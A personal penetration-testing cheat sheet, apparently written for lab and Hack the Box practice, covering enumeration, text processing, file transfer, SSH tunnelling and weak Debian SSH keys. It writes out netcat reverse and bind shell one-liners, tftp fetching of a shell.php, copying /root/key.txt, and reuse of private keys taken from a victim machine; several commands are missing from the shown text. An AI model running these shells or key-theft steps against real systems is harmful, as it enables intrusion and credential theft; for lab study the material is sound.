A list of commands and techniques that are useful for getting around the file system and enumerating. I'm writing them down because they're easy to forget or mix up.
There are some basic commands to find files and executables, but each one works differently.
Search against an index which must be updated periodically:
Search through directories defined in the
Search recursively through directories:
find / -name "cron*"
Never use the basic command, always list directory contents showing owner and including dot files like
-rw------- 1 joe staff 6863 26 Sep 17:12 .bash_history
-rw-r--r-- 1 joe staff 200 23 Jul 14:36 .bash_profile
drwx------ 129 joe staff 4128 1 Oct 15:41 .bash_sessions
This isn't even really Bash scripting, it's more about how to chain commands together to do useful things.
Being able to process text-based files and pull out useful data is a useful skill. For example, to filter out domain names from an HTML file full of other stuff, you can
grepfor something uniquely associated with URLs, then cut out extraneous information:
<li><a href="http://newsroom.cisco.com/">Newsroom</a></li> # links you'd find in HTML
grep "href=" file.html | cut -d "/" -f 3
In the above example, we are grepping for
href=which identifies hyperlinks in HTML. We can filter more precisely by looking for recurring characters that help us divide the data into smaller chunks. The command
cut -d "/"chunks the data and separates it by
-f 3option tells us to filter out the 3rd chunk (field) of data.
Find unique items in a list with duplicates using
grep "href=" file.html | cut -d "/" -f 3 | sort -u
hostcommand on every domain in a text file:
for url in $(cat list.txt); do host $url; done
Grep the output of
hostto find successful lookups:
for url in $(cat list.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u
In the above example, you're looking for lines with
has address, filtering out the URL by using spaces as the delimiter and then removing duplicates with
Direct output to a file with
cat /root/key.txt > /tmp/key.txt
Append output to a file with
cat /root/key.txt >> /tmp/key.txt
Direct output to another command with
grep "href=" file.html | cut -d "/" -f 3
Connect to an open TCP or UDP port (e.g. mail service) to see if it responds:
nc -nv [host] 110
(UNKNOWN) [host] 110 (pop3) open
+OK POP3 server ready
Bob (Windows) wants Alice (Linux) to connect to his computer remotely and issue commands. Bob sets up a listener which allows anyone connect to port 443 to issue commands via
nc -nlvp 443 -e cmd.exe
Alice then connects to Bob's machine and gets a Windows command prompt:
nc -nv [bob] 443
Netcat can also send a command shell to a listening host. Let's say Alice (Linux) wants Bob (Windows) to issue remote commands to her computer.
Bob sets up a listener on his machine:
nc -nlvp 443
listening on [any] 443...
Alice then sends control of her command prompt to Bob's machine, via netcat:
nc -nv [bob] 443 -e /bin/bash
This is what hackers mean by popping shells, but usually it's getting a web server/desktop to send a reverse shell to your attack machine.
It's like netcat, but can encrypt connections and restrict access.
Taking the example of Bob (Windows) setting up a bind shell so that only Alice (Linux) could connect to it via SSL, his listener would look like this:
ncat --exec cmd.exe --allow [alice] -vnl 443 --ssl
Alice would connect securely to Bob:
ncat -v [bob] 443 --ssl
You'll use python's web server all the time to transfer exploits and move files between machines (or possibly even within machines). Pay attention to the port you use, as it may interfere with shells or firewalls:
python -m SimpleHTTPServer 80
To transfer files, set up a listener and redirect the output to a filename:
nc -nlvp 443 > nc.exe # receiving machine
listening on [any] 443...
nc -nv [host] 443 < nc.exe # sending machine pushes file
(UNKNOWN) [host] 443 (?) open
Download files from another machine:
Download files from another machine, such as webpages:
curl -O http://[host]/file.txt
TFTP works more or less like FTP:
tftp> get file.txt
If it can't be run interactively, this one-liner might work:
tftp [host] <<< "get shell.php shell.php"
Copy a file:
Copy a directory:
SSH is surprisingly powerful and does way more than simply connecting you to remote machines.
SSH with a username:
SSH with a private key:
If you find a private key in a victim machine (usually in
home/user/.ssh/id_rsa) you can paste the keyfile contents into a text file on your local machine, set the right permissions with
chmod 600and ssh in with it.
Port forwarding can be tricky to understand, even with examples. There is a retired machine called Poison on Hack the Box which uses port forwarding. Reading some of the walkthroughs and attempting to exploit the machine does make things clearer.
But I still don't entirely get it, even though I've used the technique a few times. So maybe this section is wrong, lol.
Sometimes a service can only be accessed locally, for security reasons. The port might be open, but it will not accept remote connections. Let's say you have VNC running on a remote server and listening on the loopback interface (allows client software to communicate with server software on the same computer, usually with IP address
localhost). To access this local-only service from your remote machine, you'll need to instruct SSH to forward connections from your machine's local port
5901to the server's loopback interface + listening port for VNC:
This is the SSH command to forward your local port to the remote host's loopback interface:
Once that connection is established, open a second terminal window and connect to the remote VNC service as if you were on the same box:
So the first command instructs SSH to forward any connections from your machine's local port
127.0.0.1:5901on the remote host. Because of this tunnel, the second command lets you connect VNC service as if you were on the same server.
Here's another example using different local and remote ports: let's say you have PostgreSQL running on a remote server which can only be accessed from
To forward connections from your local port
localhost:5432on the remote server:
Then you would access the PostgreSQL admin console using this command, as if you were on the remote server:
psql -h localhost -p 9000
SSH is one method of bypassing restricted shells (see Further Reading for more).
SSH in using a key, but without loading the restricted profile:
SSH in, but execute some commands before the remote shell is created:
There's a famous vulnerability for old Debian-based systems (2006-2008, CVE-2008-0166) which basically makes the number of possible SSH keys small and predictable. Repositories of weak keys have been generated and can be searched if you happen to find an
authorized_keysfile. Using the string in that file, go into the corresponding folder of weak keys (DSA or RSA, choose the right one!) and grep for the public key:
grep -lr AAAAB3NzaC1kc3M[snip] *.pub
If that key is vulnerable, it will return a public key file like this:
Each public key in the weak key repository has a corresponding private key with the same filename. Copy it out and
chmod 700so that you can use it with ssh. It's very likely you'll need to update your local ssh config file
/home/user/ssh/ssh_configwith some ancient stuff to connect successfully, like this:
If it's still not working, add the
-vvvdebug parameter to your SSH command and google the error messages. There is also a good walkthrough of the whole process with a downloadable Vulnhub machine for practice.